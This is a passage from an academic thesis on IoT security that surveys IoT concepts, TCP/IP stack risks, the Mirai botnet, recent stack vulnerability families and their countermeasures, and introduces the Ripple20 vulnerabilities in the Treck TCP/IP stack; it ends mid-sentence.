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Abstract

In this study, we explore the security of the Internet of Things (IoT). Specifically, we focus on
Ripple20, a family of 19 vulnerabilities discovered in 2020 in the TCP/IP stack by Treck, Inc.
We try to reproduce at least one of the attacks on the Ripple20 vulnerabilities.

First, we present an overview of the Internet of Things, the related cybersecurity issues
and a brief history of exploiting the IoT devices. We select the device for our experiments
and two specific vulnerabilities to be researched. The determination whether or not the tested
vulnerabilities are present in our device can be seen as another objective of this study.

We follow by performing the attacks. In one case, the device apparently demonstrated in-
correct behaviour (a denial of service). Even though this response differs from the published
studies (information leak from the heap), we can find indirect evidence that the vulnerability is
present in the tested system. In the second case, our device successfully resisted the attacks. We
conclude that the second researched vulnerability is not present in the device’s implementation
of the TCP/IP stack.

We succeeded in detecting one of the vulnerabilities in our IoT device and in performing the
respective attack. On the contrary, the presence of the second vulnerability can be ruled out.
After concluding that the tested IoT device is vulnerable, we suggest the most important risk
mitigation strategies.

Keywords cybersecurity, Internet of Things, Ripple20, TCP/IP stack, Treck, Inc., IP in IP
tunnelling, DNS response parsing

Abstrakt

V této bakalářské práci se zabývám bezpečnost́ı internetu věćı (IoT), konkrétně pak analýzou
útok̊u Ripple20. Tento název označuje skupinu 19 zranitelnost́ı odhalených v roce 2020 v TCP/IP
subsystému společnosti Treck, Inc. V práci si kladu za ćıl alespoň jeden z těchto útok̊u repro-
dukovat.

Nejprve se zaměř́ım na internet věćı a kybernetickou bezpečnost a stručně zmı́ńım s ńım
souvisej́ıćı útoky z minulosti. Představ́ım též zař́ızeńı, se kterým budu experimentovat, a dvě
zranitelnosti, jež budu zkoumat. Určeńı, zda mnou zkoumané zař́ızeńı dané chyby obsahuje, či
nikoli, lze považovat za daľśı z ćıl̊u této práce.

Následuj́ı pokusy o reprodukce útok̊u. V prvńım př́ıpadě dosáhnu zjevné chybové reakce
zař́ızeńı (odmı́tnut́ı služby). Přestože se tato reakce lǐśı od publikovaných výsledk̊u (únik infor-
maćı z haldy), je možné předložit nepř́ımé d̊ukazy, že se skutečně jedná o zkoumanou zranitelnost.
Ve druhém př́ıpadě odolalo mé IoT zař́ızeńı útok̊um bezchybně. Z toho vyvozuji, že tato zran-
itelnost neńı v jeho implementaci TCP/IP subsystému př́ıtomna.

V práci se mi podařilo potvrdit př́ıtomnost jedné ze zranitelnost́ı ve zkoumaném zař́ızeńı
a provést na ni útok. Na druhou stranu druhá testovaná zranitelnost zřejmě ve zkoumaném
systému př́ıtomna neńı. Po přijet́ı závěru, že zkoumané zař́ızeńı je zranitelné, formuluji nejd̊uležitěǰśı
postupy ke zmı́rněńı rizik.

Kĺıčová slova poč́ıtačová bezpečnost, internet věćı, Ripple20, TCP/IP subsystém, Treck, Inc.,
IP tunelováńı, zpracováńı odpověd́ı DNS

viii



Abbreviations

API Application Programming Interface
ARP Address Resolution Protocol

CSMA/CD Carrier Sense Multiple Access with Collision Detect
CVE Common Vulnerabilities and Exposure database

CVSS Common Vulnerability Scoring System
CVSSv3 Common Vulnerability Scoring System, version 3

DDoS Distributed Denial of Service
DNS Domain Name System
DoS Denial of Service
FTP File Transfer Protocol

HTTP Hypertext Transfer Protocol
HTTPS Hypertext Transfer Protocol Secure

IANA Internet Assigned Numbers Authority
ICMP Internet Control Message Protocol

ID Identifier
IHL Internet Header Length
IoT Internet of Things
IP Internet Protocol

IPv4 Internet Protocol version 4
IPv6 Internet Protocol version 6
ISN Initial Sequence Number
ISP Internet Service Provider

MAC Media Access Control
NAT Network Address Translation
OSI Open Systems Interconnection
OT Operational Technology
PC Personal Computer

RCE Remote Code Execution
RTOS Real Time Operating System

SCADA System Control and Data Acquisition
SOHO Small Office, Home Office

TCP Transmission Control Protocol
TTL Time to Live
UDP User Datagram Protocol

Wi-Fi Wireless Fidelity

ix





Chapter 1

Introduction

In this study, we attempt to present a brief overview of one specific field of cybersecurity research,
the security of the Internet of Things (IoT). First we deal with some fundamental concepts and
recent security incidents. Then we present a description of one specific family of vulnerabilities,
Ripple20. The main part of the study is a practical demonstration of attacks on two vulnerabilities
belonging to the Ripple20 family, followed by their analysis.

We have selected this particular topic for our thesis because IoT security is currently a major
concern and one of important topics of research. Taking into account the number of devices
existing in the wild, the incredible amount of new emerging products and the specifics of the IoT
concept as such, it is clear that the amount of attention of cybersecurity experts paid to this
area is not going to decrease any time soon.

Unlike many studies focusing on replication of specific attacks, our research starts with a large
question mark. The Ripple20 vulnerabilities are present in the TCP/IP stack implementation by
Treck, Inc., which is a very widely used software suite. It exists in many versions, is highly con-
figurable and allows for specific arrangements, e.g. to use subsystems provided by the customer.
Although it is possible to find some indications which devices might be vulnerable, e.g. because
their firmware was patched in response to the announcement, information about the presence
or absence of the vulnerabilities in specific device types is not known to external parties. Our
experiments thus have one more objective: to determine whether or not the particular selected
vulnerabilities are present in our IoT device, as this is something not known to us from any
sources.

1.1 Conventions Used in the Study

As regards the formal conventions used in the study, we should point out the following informa-
tion:

Numerical values preceded by “0x” are hexadecimal values, e.g. 0x60 is 96 (decimal).
Code sections, names of functions, programs, command line arguments are highlighted using

the following style: framegen.cpp.
Console output reprinted in the text is marked using the following style:

Time ID Type Name Response
-----------------------------------------------------------

0.000 64496 AAAA xmpp008 . hpeprint .com. Valid response
0.417 9955 A xmpp008 . hpeprint .com. Invalid response

1
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1.2 Internet of Things

Before diving into our particular area of interest, we have to introduce several fundamental
notions important for our study. First and foremost, we have to clarify what is meant by the
Internet of Things (IoT).

1.2.1 The Concept
The term “Internet of Things” is not a terminus technicus defined in a standard or RFC docu-
ment, though it is widely used and its meaning is usually understandable to general public. The
term was probably first used by Kevin Ashton in 1999 while he was working for Procter&Gamble.
The idea described by the term is older than the term itself however. It actually dates back at
least to the 1970s. Over the years, other terms were used in relation to what we call the Internet
of Things today, e.g. “embedded internet” or “pervasive computing”. [1]

It is therefore quite natural that any search for a definition of the Internet of Things brings
a number of different results. There is a widely cited “technical” definition by McKinsey: “In
what’s called the Internet of Things, sensors and actuators embedded in physical objects [...] are
linked through wired and wireless networks, often using the same Internet Protocol (IP) that
connects the Internet.” [2]

Hanes et al., on the other hand, suggest another definition that focuses mainly on functional
aspects: “The basic premise and goal of IoT is to ‘connect the unconnected.’ This means that
objects that are not currently joined to a computer network, namely the Internet, will be connected
so that they can communicate and interact with people and other objects.” [3]

Pallavi Sethi and Smruti R. Sarangi [4, p. 1] quote several other definitions of the Internet
of Things looking at the phenomenon from other perspectives, for instance as an “interaction
between the physical and digital worlds” ([5], cited by [4, p. 1]) or as a “paradigm in which
computing and networking capabilities are embedded in any kind of conceivable object” [4, p. 1].

The concept of the Internet of Things is often misunderstood by the general public as a “net-
work of home appliances”. Such approach is, however, too restrictive and inaccurate. In their
paper on classification of vulnerable IoT systems, Blinowski and Piotrowski enumerate the main
IoT applications as follows: smart cities, smart environment, smart agriculture and farming,
smart grid, manufacturing, industrial security and sensing, eHealth, home automation or “smart
homes” [6, p. 2].

If we consider examples of devices from these domains—e.g. smart road systems, connected
environment meters, connected industrial switches, insulin pumps, or smart fridges—we can see
that such devices comply with the definitions cited above. They are physical objects that include
sensors and actuators, they are linked through wired/wireless networks and they represent a class
of devices that used to be unconnected.

This last aspect, i.e. “connecting the unconnected”, is particularly important from the cyber-
security perspective. It actually means that connectivity technologies enter relatively new areas
and that has dangerous consequences. New market players emerge, often lacking the necessary
security expertise, and old players enter new areas, e.g. by changing their old “dull” products
into new “smart” connected devices. Results—from the cybersecurity perspective—are actually
identical in both cases and we will deal with them in more detail in the next section.

We do not have the option to roll back the current developments. “Whether we’re ready for it
or not, we’re rapidly evolving toward a world where just about everything will be connected” [7].
Searching for remedial actions, preventing new damage and educating all the parties involved is
our only choice at the moment.
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1.2.2 Architecture and Design of IoT Devices
Taking into account the immense diversity of IoT devices it is clear that there is no unified
architecture providing a universal model applicable to this entire domain. Sethi and Sarangi
mention two most widespread models, viz. a three-layer model and a five-layer model [4, p. 2].

The three-layer model consists of the following layers: perception layer, network layer, and
application layer. The perception layer is the physical layer, like sensors, and performs sensing
and information gathering. The network layer ensures connection between smart devices, net-
work devices and servers. The application layer delivers application-specific services to the user
[4, p. 2].

The five-layer model was introduced because the older three-layer model was unable to fulfil
the needs of research focusing on finer aspects of the Internet of Things. Its layers are: perception
layer, transport layer, processing layer, application layer, business layer. In addition to the
perception layer and the application layer there are three new layers in the model: the transport
layer ensures transport of data from the perception layer to the processing layer. The processing
layer (or the middleware layer) stores, analyses and processes data obtained from the transport
layer. Finally the business layer manages the entire system [4, p. 2–3].

From cybersecurity perspective, bugs and vulnerabilities may be present throughout the entire
system. Nevertheless, there is one obvious particularly vulnerable component that may ensure
or compromise the security of the entire system. As the basic characteristic of the Internet
of Things is its connection to the Internet, each IoT device contains a system for handling of
Internet communication. Although it may take different forms, the most common and most
relevant to the present study is the so-called TCP/IP stack. If we disregard physical intrusions
into IoT systems which are not dealt with in this study, and if we put aside the legitimate user
whose behaviour is often the most dangerous factor for IoT security (e.g. not changing the
default credentials), it is the TCP/IP stack that either stops the intruder or leaves the gates
open. Therefore we have to deal with this particular component in more detail.

1.2.3 TCP/IP Stack
As mentioned above, one of the main characteristics of the Internet of Things is connectivity.
Internet connection is what links “things” to the “Internet”. Each IoT device therefore must be
capable of connecting to the Internet.

The TCP/IP stack (or more generally the “protocol stack”) is a software component that
implements the main connectivity functions of an IoT device. Due to the existence of such
a subsystem, programs running in the device are able to connect to the Internet and use func-
tionalities implemented at the network and transport layers (based on the OSI model, see also
Section 2.1.1). It ensures that the application software does not have to deal with lower-level
functions such as sending and receiving of packets, resolving of domain names, etc.

In a report on the AMNESIA:33 vulnerabilities, Forescout states that: “TCP/IP stacks are
critical components of all IP-connected devices, including IoT and OT, since they enable basic
network communications. A security flaw in a TCP/IP stack can be extremely dangerous because
the code in these components may be used to process every incoming network packet that reaches
a device. This means that some vulnerabilities in a TCP/IP stack allow for a device to be
exploited, even when it simply sits on a network without running a specific application” [8, p. 4].

Examples of functions contained in the TCP/IP stack may include: ARP functions; Ethernet
link layer functions; DNS resolver; FTP program interface; Telnet daemon; NAT implementation;
or processing of IP packets (this particular list was compiled on the basis of Treck TCP/IP User
Manual, see [9]).

There are numerous implementations of the TCP/IP stack. Report on AMNESIA:33 by
Forescout focuses on seven open-source protocol stacks based on whether the stack is used or
supported by popular RTOSes and the popularity of devices using the stack [8, p. 7]. These
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open-source stacks included in the quoted report are: lwIP, uIP, Nut/Net, FNET, picoTCP,
CycloneTCP, uC-TCP/IP [8, p. 8]. Another example of a TCP/IP stack is that of Treck, Inc.
The Ripple20 family of vulnerabilities is tied to this particular protocol stack (although some
individual vulnerabilities may be present in other stacks as well).

Protocol stacks are an attractive target for attackers for several reasons. Apart from the
most obvious ones, like having a direct network exposure and being widely deployed, “they often
offer a variety of unauthenticated functionality exposing potential attack surface” and “they are
often implemented as low-level system functionality and, as such, tend to be implemented in
memory-unsafe languages such as C and C++” [8, p. 6].

Apart from “core” dangers (actual vulnerabilities), TCP/IP stacks pose another significant
cybersecurity risk, which certainly does not make things easier. Since this software component
represents a relatively closed system communicating with the outer world through various APIs
(“When using the Treck TCP/IP system we want you to think of it as a ‘Black Box’.”—Treck,
Inc. in [9]), it is particularly suitable for reuse in many different products. This ultimately leads
to multiplication and propagation of any bug found in the system. As a result, it is difficult to
even identify all the affected device types, not to speak about patching (especially when some of
the manufacturers may already be out of business by the time the vulnerability is discovered).

1.3 Security Challenges Related to the Internet of Things
With regard to IoT, major security challenges relate to connectivity. Users are never perfect and
it is therefore inherently dangerous to connect a device to the Internet even if all the firmware and
hardware is flawless. This is however not the situation we face. It has been already proved many
times—by research and by actual incidents—that imperfect users are coupled with imperfect
devices, with potentially immense consequences.

We are not exaggerating here. We have already mentioned that the Internet of Things includes
various healthcare-related systems, like medical devices that transfer information to physicians
via wireless networks, etc. A simple DoS attack on such a device can have fatal consequences.

Furthermore, numerous connected systems are utilized in public utilities, e.g. in electricity
or water supply. Greenberg [10] describes the Aurora experiment that was performed in Idaho,
USA, in 2007. During this experiment, cybersecurity researchers successfully destroyed a diesel
generator the size of a school bus weighing twenty-seven tons using approximately 140 kilobytes
of code. In the years that followed, actual attacks on electricity infrastructure occurred, e.g. in
Ukraine in 2015, establishing a completely new level of dreadfulness that can be clearly designated
as a “cyberwar”.

Our study, however, focuses on neither medical devices nor critical infrastructure components
and their security issues. From now on we will discuss the security issues of consumer IoT devices
only.

To establish the magnitude of the problem, it would be useful to know the number of detected
IoT vulnerabilities, either as an absolute number or as a fraction of all detected vulnerabili-
ties. The most complete database of vulnerabilities, the Common Vulnerabilities and Exposures
database (CVE, cve.mitre.org) maintained by the MITRE Corporation, does not provide any
easy way of distinguishing IoT issues from the others.

Blinowski and Piotrowski [6] try to extract CVE records related to IoT devices using CPE
data included in the CVE database. CPE, or Common Platform Enumeration, basically specifies
the platform affected by the respective vulnerability. Although their approach incorporates an
unavoidable simplification and does not claim to be absolutely precise, we can use their findings
at least as an estimate (see Figure 1.1).

The Figure 1.1 clearly shows an increase in the number of IoT-related vulnerabilities, partic-
ularly after 2016 (for 2019, data for the first quarter were used only). While in the period from
2012 to 2016 the total number of detected IoT-related vulnerabilities ranged approximately from
300 to 500 per year, there was a sharp increase in 2017 (approx. 800), and 2018 (approx. 1600).
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Figure 1.1 Chart showing estimated numbers of IoT vulnerabilities (reprinted from [6]); TOT =
total, A = other, non-home appliances, E = enterprise, service provider hardware, H = home and SOHO
devices, M = mobile phones, smart watches, portable devices, P = PCs and laptops as controllers of IoT
systems, S = SCADA and industrial systems, automation components (the meaning of C is unfortunately
not explained anywhere in the paper).

After combining this data with data on annual numbers of CVE records from a website allowing
to browse vulnerabilities by date [11], we can establish approximate shares of IoT vulnerabilities
in total detected vulnerabilities in each year from 2012 to 2018. Figure 1.2 shows the resulting
table.
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Figure 1.2 Total vulnerabilities and IoT vulnerabilities 2012–2018 (using data from [6]) and [11]).

We can conclude that the data clearly shows an increase in the number of detected vulnera-
bilities and although the increase follows overall growing trend of all vulnerabilities, their share
in the total number of vulnerabilities might be growing too (10% in 2018 compared to 5–8% in
the preceding years). Data for the entire year of 2019 and 2020 would certainly shed some light
on this issue.

We can thus see that the number of IoT devices and the number of detected IoT vulnerabilities
have been growing. What are the consequences of such a development? What are the implied
risks? What can happen if a vulnerability is actually exploited?

A successful exploitation of vulnerabilities detected in IoT devices usually involves one or
both of two types of attacks, viz. the denial of service attack and the remote code execution
attack.

RFC 4732 [12] defines a Denial-of-Service (DoS) attack as: “... an attack in which one or
more machines target a victim and attempt to prevent the victim from doing useful work.”. In
other words, such an attack does not imply any form of intrusion in the victim system but
its consequences include unavailability of services provided by the victim (“prevent the victim
from doing useful work”). Flooding of a website with an enormous number of http(s) requests
resulting in the unavailability of the website might be a good example of a DoS attack.

A Remote Code Execution (RCE) attack is, on the other hand, an attack, in which the
attacker runs an arbitrary code on the victim system. “In an RCE attack, hackers intentionally
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exploit a remote code execution vulnerability to run malware. [...] This programming can then
enable them to gain full access, steal data, carry out a full distributed denial of service (DDoS)
attack, destroy files and infrastructure, or engage in illegal activity.” [13] The code to be run
might be provided to the victim in various ways, including a user input or a network port. The
code, or a part thereof, might also be already residing in the victim system after it had been
implanted there using other exploitation techniques such as social engineering.

The damaging potential of DoS attacks might seem relatively less threatening than that of
RCE attacks. It is, however, necessary to emphasize that we are dealing with the Internet of
Things here, which can be understood as an interface between the Internet (or attacker) and
physical objects. The disruption of services of a security camera can certainly have very tangible
consequences, e.g. a failure to detect the physical presence of a thief. DoS attacks on eHealth
IoT systems are of course even scarier.

In the IoT domain, RCE attacks were often very closely related to DoS (or DDoS, “Distributed
Denial of Service”) attacks. They were used to create “armies of bots” or “botnets” that were
subsequently utilized for attacking other victims.

The majority of recent attacks on IoT systems actually involved this particular scenario.
The problem has proven to be very difficult to deal with, because “the people responsible for
the security of the devices commandeered for slavery don’t feel the pain of the attacks, except
as service users themselves. The device owners and manufacturers have no personal incentive
to take responsibility, possibly perpetuating the potential for attacks in the future.” [14] Specific
examples of recent attacks will be presented in the next section.

We have already discussed some possible causes of the current cheerless security situation in
relation to the Internet of Things. They include, inter alia, inadequate experience and expertise
of market players or the fact that the consequences of such security issues are not borne by
those who could prevent them. Apart from that, however, there are some specific features of IoT
devices that increase the magnitude of the problem even more.

The inability to update and the extremely large number of devices in the wild belong among
the most problematic features inherent to the IoT domain [15]. Even when a vulnerability is
detected and patched by the manufacturer, any attacker—at least if a popular consumer branch is
targeted—can be virtually certain that there will be unpatched devices connected to the network.
Even if the devices can be updated, there will always be many consumers who simply do not
care or know enough to do so.

The mass production coupled with the modular architecture present in many IoT devices is
another source of difficulty. That is what the JSOF researchers who discovered the Ripple20 vul-
nerabilities had in mind when speaking about “Hacking the Supply Chain” [16]. A vulnerability
present in a component such as the TCP/IP stack supplied to many different manufacturers can
easily find its way to an extreme number of various devices by many different manufacturers,
some of whom may already be out of business when the vulnerability is discovered.

To conclude, there is no doubt that the Internet of Things can help the mankind to achieve
easier and more comfortable way of living. The mode of operation of the entire industry, however,
has to undergo a significant change otherwise the potential benefits could be offset by many
adverse consequences. Recent developments have already proven that this is a real-world scenario.

1.4 Major Recent Attacks Related to IoT Systems

IoT security issues are not just a research concern of experts trying to make IT systems impen-
etrable and perfect. Attacks exploiting specific vulnerabilities of IoT devices actually happened
and will likely happen again. This section presents a summary of the most notable attacks from
the recent period.
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1.4.1 Mirai Botnet
In September 2016, several DDoS attacks crippled a number of high-profile services, e.g. OVH,
Dyn or Krebs on Security [17]. According to the attacked entities, these attacks exceeded 1 Tbps,
which was an unprecedented value at that time. The unusual firepower of the attacks resulted
from their unusual source: the affected websites were taken down by an army of IoT devices con-
trolled by the attacker using the malware named Mirai. According to measurements of a security
company that detected activity of the malware already in August 2016, the number of infected
devices exceeded 600,000 in November 2016 when the main wave peaked. [17]

Research has shown that majority of the infected devices were routers and security cameras.
The malware itself, which can be characterized as a self-propagating worm, consisted of two key
components: the replication module and the attack module. When a device was infected by
the replication module, it was reported to a server which injected the malware into the device.
After that, the device could be controlled by a set of Command and Control servers and became
a member of the enslaved botnet. [17]

Our detailed knowledge about the malware’s modus operandi results from an unexpected event
that happened on 30 September 2017. The malware source code was released on an infamous
hacking forum by its alleged author under the nickname Anna-senpai [17]. This development
naturally resulted in numerous attempts to follow the success of the original Mirai botnet but
the successor groups were not able to gather such large numbers of controlled devices as the
originator. [18]

The attacker penetrated the infected IoT devices in a simple manner: the initial version of
the Mirai malware searched for IoT devices accessible from the outer network and tried a fixed
set of 64 commonly used default login/password combinations. Many users did not change
their default credentials after putting their devices in operation and therefore the attacker easily
obtained control over their devices, though no high-tech sophisticated technique was actually
employed. [17]

Not all devices could be controlled by Mirai indeed. “Even if a device can be infected and
join a Mirai botnet, many devices behave differently once enslaved. For example, some devices
crash and reboot once they are issued an attack command, which flushes Mirai from its system. In
another example, it was observed that certain variables, like source or destination IP, could not be
accurately implemented by a specific device, thus sending the attack to the wrong destination.” [18]

Although the majority of sources analysing the Mirai attack do not deal with the infection
process in detail, it is obvious that successfully guessing the right credentials does not mean that
an attacker can run arbitrary code on the respective device. “... in general, the attacker only
have access to a telnet server in the device that gives access to a very constrained shell, usually
a shrink version of busybox. What this means is that you will not find tools like ftp, wget or curl.
For this reason the dropper may have to do some tricks to get the device infected.” [19]

By “dropper”, the anonymous author of [19] means a “program/script used to get the malware
in the device and install it”. The operation performed by the dropper consists of several steps,
namely finding a folder with write and execution permissions, figuring out the device architecture
and transferring the respective binary into it. The technique used by malware to complete these
purposes is described in detail in [19]. Taking into account the focus of our study, we do not need
to go into details now, noting that the respective process is—at least in a sufficient number of
devices—achievable without the need of any other vulnerability. The anonymous author of [19]
confirms this opinion too: “Overall, there is nothing really special about the infection process.
Most of those malwares do not even use an exploit.”

After the attacker had enslaved enough devices he launched his attacks on OVH, one of the
Europe’s largest hosting providers, the Krebs on Security website and Dyn (DNS provider). The
attack targeted on OVH was actually aimed at one undisclosed customer. Reports show that
Minecraft servers were the actual target and there is more information confirming that “Mirai
has been extensively used in gamer wars and is likely the reason why it was created in the first
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place” [17]. Even the Dyn attack, which was painted by the press as an attempt to “take down the
Internet”, was probably just another episode in a mysterious gamers’ war and the unavailability
of services of Internet giants like AirBnB, Amazon, Github, HBO, Netflix, Paypal, Reddit or
Twitter was just a “collateral damage” [17].

The systems subject to the DDoS attacks by Mirai recorded massive traffic, peaking at
623 Gbps (Krebs on Security) or even 1 Tbps (OVH) [17]. Disproportionate number of attacking
IoT devices were geographically located in South America and South East Asia (Brazil, Vietnam,
and China ranked highest). Routers and cameras were the most frequent device types used in
the attacks (routers and remotely installed cameras directly face the Internet).

What countermeasures could be taken to cope with botnet DDoS attacks utilizing IoT devices
like the Mirai botnet attack? The reply to this question has two parts, since the attacker actually
attacks two classes of systems. First, there is the attack on IoT devices in order to enslave them.
Second, a botnet or an army of these enslaved devices attacks a selected target using a DDoS
attack.

Taken into account the focus of the present study, we will not try to give a detailed answer to
the second part of the question. There are various DDoS attack mitigation strategies. The Mirai
malware was actually able to use many different vectors of attack, including DNS or HTTP, so it
can be expected that a successful defence against its attacks should also employ many different
strategies. In his 2018 report on Mirai malware, Ron Winward states: “Effectively fighting
these attacks requires specialized solutions, including behavioral technologies that can identify the
threats posed by Mirai and other IoT botnets.” [18]

As far as the first question is concerned, The Cloudflare Blog proposes the following mea-
sures to be taken: eliminating default credentials, making auto-patching mandatory, login rate
limiting. [17]

Eliminating default credentials should help defend the IoT devices against an attacker em-
ploying a list of credentials. Making auto-patching mandatory should eliminate the “set and
forget” approach very often encountered in the IoT domain. Autopatching of these devices could
be another step out of the danger zone. Login rate limiting should again help to defend the
devices against brute-force attacks and might be another mitigation of the tendency of people
to use weak passwords. [17]

1.4.2 Post-Mirai Botnet Attacks
As already mentioned above, the source code of Mirai malware was published by its author on
September 30, 2017. This resulted in proliferation of new variants of the malware, creation of
independent smaller botnets and new attacks.

On October 31, 2017, a Lonestar Cell, one of largest telecommunication operators in Liberia
was targeted by Mirai botnet. Based on the fact that the infrastructure used for this attack
showed virtually no overlap with that used for the Krebs on Security or OVH attacks, it seemed
that this attack was actually performed by another actor. This was confirmed as correct later
when the perpetrator confessed during a trial that he had been paid by another Liberian Internet
service provider (ISP) to take down their competitors.

Ron Winward concludes: “Although Mirai is several years old now, it is still active in its
original form in addition to modern variants. Botnets such as Masuta, Owari, DaddysMirai
and Orion all include Mirai attack code. Evidence also suggests that other IoT botnets like
IoT Reaper/IoTroop and Satori are based on the Mirai framework, albeit different approaches.”
[18, p. 3].

Countermeasures listed in the previous section on Mirai are applicable to other botnet attacks
of similar origin as well.
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1.4.3 Recently Discovered IoT Vulnerabilities
The Mirai attack and subsequent attempts utilizing the same or very similar approach were real
attacks. They should be considered as a dark example of what can happen when a vulnerability or
a vulnerable behaviour is exploited. In the following subsections, on the other hand, we will deal
with some recently detected vulnerabilities that were discovered and presented in publications
by researchers and IT security companies. As far as we know (and we have to stress that
our knowledge is limited) actual attacks based on the respective vulnerabilities have not been
reported.

The following subsections provide brief descriptions of the most significant recent discoveries
related to the vulnerabilities found in IoT devices. Individual descriptions are followed by a brief
section presenting countermeasures to protect against exploits of these vulnerabilities.

1.4.3.1 Urgent/11

A group of vulnerabilities dubbed Urgent/11 was discovered in 2019 by Armis Labs. The
Urgent/11 vulnerabilities are present in the TCP/IP stack of VxWorks, the most popular real-
time operating system (RTOS). The identified TCP/IP stack was used in additional RTOSes as
well and according to the report by Armis Labs, over 30 vendors have self-identified as being
vulnerable and released patches [20, p. 3].

Apart from other systems, the vulnerability is present in industrial controllers by Rockwell
Automation, Schneider Electric and Siemens. Since these three companies account for more
than 60 % of global market share of programmable logic controllers, it is clear that the potential
impact of Urgent/11 vulnerabilities is immense [20, p. 3].

One of the most critical vulnerabilities of this family, CVE-2019-12256, is a RCE vulnerability
utilizing a stack-based buffer overflow that can occur while parsing the IP options in IPv4 packets.
The vulnerability can be triggered by a specific malformed IPv4 packet, including “a maliciously
crafted broadcast IPv4 packet that can be sent to the entire LAN, and trigger a stack overflow on
any vulnerable device within it.” This characteristic provides the attacker with an unusual power,
allowing them “sending the maliciously crafted broadcast packets to the network, and take-over
any vulnerable devices on the same LAN, in parallel” [20, p. 3].

1.4.3.2 Amnesia:33

Following the discovery of Urgent/11 in 2019 and Ripple20 vulnerabilities in June 2020, it became
clear that the problem of numerous vulnerabilities found in TCP/IP stacks is not restricted to
a few particular software suites. Forescout Research Labs based in San Jose, USA, initiated
Project Memoria with the aim to perform—together with industry peers, universities and research
institutes—a large study of TCP/IP stacks focusing on various vulnerabilities. [8]

The first report under Project Memoria appeared in December 2020 and presented a collection
of memory corruption bugs designated as Amnesia:33. As the name suggests, this group includes
33 new vulnerabilities, which were found in 7 analysed protocol stacks used by many major IoT
vendors. Four of these vulnerabilities were critical RCE vulnerabilities with all the associated
potential consequences (compromising a larger network, getting control of the device, inclusion
of the device in a botnet, etc.).

As an example, we can mention one of the critical vulnerabilities of this family with the CVSS
score of 9.8, CVE-2020-24338, found in the picoTCP protocol stack. The report [8] describes it
as “The function that parses domain names lacks bounds checks, allowing attackers to corrupt
memory with crafted DNS packets”.
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1.4.3.3 NUMBER:JACK
Another output of Project Memoria was published in February 2021, presenting a collection of
9 vulnerabilities based on TCP communication, specifically on ISN (Initial Sequence Number).
Dubbed NUMBER:JACK, this new family of vulnerabilities can be exploited in order to hijack
or spoof TCP connections, ultimately resulting in the possibility “to close ongoing connections,
causing limited denials of service, to inject malicious data on a device or to bypass authentica-
tion” [21, p. 3].

Initial Sequence Number is a mechanism introduced in order to prevent connection collisions
when TCP sockets or unique combinations of network address and network port are reused. ISN
is a 32-bit sequence number that should be unique for every TCP connection. The ability to
guess the ISN gives the attacker a wide array of possibilities, including closing a connection or
impersonating a legitimate client [21, p. 6–7]. The flaw that is now considered a vulnerability
(ISN was based on a 4 millisecond timer) was actually incorporated in the original design and is
contained in RFC 793 “Transmission Control Protocol” [22]. It was later corrected by RFC 1948
“Defending Against Sequence Number Attacks” [23] and RFC 6528 of the same name [24] which
propose a manner of computing ISN that is better protected against ISN guessing.

Although some of the reviewed protocol stacks were implemented correctly in relation to ISN
generation, a vast majority of them was not. The most common description “ISN generator is
initialized with a constant value and has constant increments” [21, p. 4] actually proves that the
root cause is what can be described as “RFC documents detailing the countermeasures are being
ignored” [21, p. 8].

1.4.3.4 NAME:WRECK
In April 2021, Forescout Research Labs and JSOF published a joint report on another group
of vulnerabilities discovered within the frame of Project Memoria. The new group consisting of
9 vulnerabilities was labelled NAME:WRECK. This time, researchers focused on DNS-related
bugs in several TCP/IP stacks, including some very popular brands. Therefore it may be ex-
pected that the number of IoT devices containing NAME:WRECK vulnerabilities might be very
high, the authors’ estimate is 100 million devices. [25]

NAME:WRECK vulnerabilities concern DNS communication and are specifically tied to the
DNS compression scheme which is described in detail in Section 3.1.2. Authors of the report
are convinced that “DNS compression is neither the most efficient compression method nor the
easiest to implement. [...] this compression mechanism has been problematic to implement for
20 years” [25, p. 5].

The potential impact of the vulnerabilities includes RCE and DoS and their CVSS score
ranges from 6.5 to 9.8. For instance, the vulnerability with the assigned number CVE-2020-
15795 (found in the NUCLEUS Net protocol stack) results from improper validation of domain
names in DNS responses. Parsing of a malformed packet could lead to writing past the allocated
structure, which could result in a remote code execution or a denial of service [25].

1.4.4 Possible Countermeasures
Updating of the device firmware whenever a patch or a new version is available should be seen
as the primary countermeasure protecting against exploitation of various TCP/IP stacks vul-
nerabilities. On a related note, users should also make sure that an IoT device they intend to
purchase allows for firmware updates.

If a patch is not available or if a device cannot be patched, the respective device should
be connected to an internal network behind a router and should not face the Internet directly.
Although this might not be a 100% cure, a properly configured and protected network may help
mitigate the risk to a large extent. Where there is neither a patch available nor a chance to hide
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the device from the outer world (e.g. in case of unpatchable routers or remotely installed IP
cameras), it would be wise to procure a new device.

1.5 Ripple20 Family of Vulnerabilities

Ripple20 is a group of 19 vulnerabilities found in the Treck TCP/IP stack. The vulnerabilities
were discovered by the research team of JSOF lab based in Jerusalem. The first announcement
was published on June 16, 2020 after a special “prolonged” grace period was given to Treck,
Inc., and its affected customers to issue the necessary patches. According to the researchers, the
story began in September 2019 as a “part-time” research of the Treck TCP/IP library. After
discovering some problems, they kicked off a coordinated vulnerability disclosure process. “We
understood from the beginning that Treck worked with many different vendors, with the potential
to impact a large number of users. However, we simply had no idea of the scale and sheer
magnitude of the situation, nor how complex the supply chain had become.” [26]

JSOF researchers estimate that the number of affected devices amounts to “hundreds of
millions of devices (or more)” [26]. Although the Treck TCP/IP stack is not an open-source
library, there are several factors that affect our ability to trace its use in final products. The first
aspect to be taken into account is that this protocol stack has been around for about 20 years.
Second, Treck was unable to supply the researchers with a complete list of their clients. Third,
Treck collaborated on the development of its protocol stack with another company in 1990s.
The other company, Elmic Systems, now Zuken Elmic, is based in Japan and it marketed the
protocol stack as Kasago TCP/IP in Asia. The two companies later separated and thus there
are two separate branches with the same origin that were distributed in separate geographic
areas. Researchers’ attempts to communicate with Zuken Elmic were unsuccessful. The tests
have shown, however, that at least some Ripple20 vulnerabilities are present in Kasago TCP/IP
as well. [26]

Since it may be presumed that a lot of devices in the wild will be never patched against
Ripple20 vulnerabilities, publicly available descriptions of Ripple20 vulnerabilities are mostly
general, lacking the level of detail needed for a successful exploit. Three exceptions to this
approach are the vulnerabilities described in detail in two technical whitepapers. The first
whitepaper, published at the time of the first announcement, focused on two vulnerabilities,
specifically CVE-2020-11896 and CVE-2020-11898 [27]. The second whitepaper was published
in August 2020 and it concerned another vulnerability, CVE-2020-11901 [16].

All vulnerabilities detected in the Treck TCP/IP stack were grouped and given a common
designation because of their presence in the same protocol stack. However, they have different
principles and modes of operation, some being closely related to the processing of incoming TCP
